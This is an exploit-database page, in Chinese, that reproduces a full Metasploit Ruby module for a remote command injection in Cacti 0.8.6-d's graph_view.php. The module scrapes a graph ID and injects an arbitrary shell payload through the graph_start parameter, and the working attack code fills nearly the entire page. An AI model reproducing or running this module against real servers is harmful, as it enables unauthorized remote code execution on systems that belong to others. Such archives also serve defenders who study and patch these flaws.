Cacti 0.8.6-d – ‘graph_view.php’ Command Injection (Metasploit)

Cacti 0.8.6-d – ‘graph_view.php’ Command Injection (Metasploit)

漏洞ID 1054859 漏洞类型
发布时间 2005-01-15 更新时间 2005-01-15
图片[1]-Cacti 0.8.6-d – ‘graph_view.php’ Command Injection (Metasploit)-安全小百科CVE编号 N/A
图片[2]-Cacti 0.8.6-d – ‘graph_view.php’ Command Injection (Metasploit)-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/9911
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Cacti graph_view.php Remote Command Execution',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability in the
			Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to 
			0.8.6-d are vulnerable.	
			},
			'Author'         => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['OSVDB', '17539'],
					['BID', '14042'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 15 2005',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
				], self.class)
	end

	def exploit
		# Obtain a valid image ID
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' => 
			{
				'action' => 'list'
			}
		}, 10)
		
		if (not res)
			print_status("The server returned: #{res.code} #{res.message}")
			return
		end
		
		m = res.body.match(/local_graph_id=(.*?)&/)
		if (not m)
			print_status("Could not locate a valid image ID")
			return
		end

		# Trigger the command execution bug
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' => 
			{
				'local_graph_id' => m[1],
				'graph_start'    => "necho YYY;#{payload.encoded};echo YYY;echon"
			}
		}, 25)		
		
		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print("")
			
			m = res.body.match(/YYY(.*)YYY/)
			
			if (m)
				print_status("Command output from the server:")
				print(m[1])
			else
				print_status("This server may not be vulnerable")
			end
			
		else
			print_status("No response from the server")
		end
	end
	
end

相关推荐: Apple iTunes – Playlist Buffer Overflow Download Shellcode

Apple iTunes – Playlist Buffer Overflow Download Shellcode 漏洞ID 1054861 漏洞类型 发布时间 2005-01-16 更新时间 2005-01-16 CVE编号 N/A CNNVD-ID N/…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享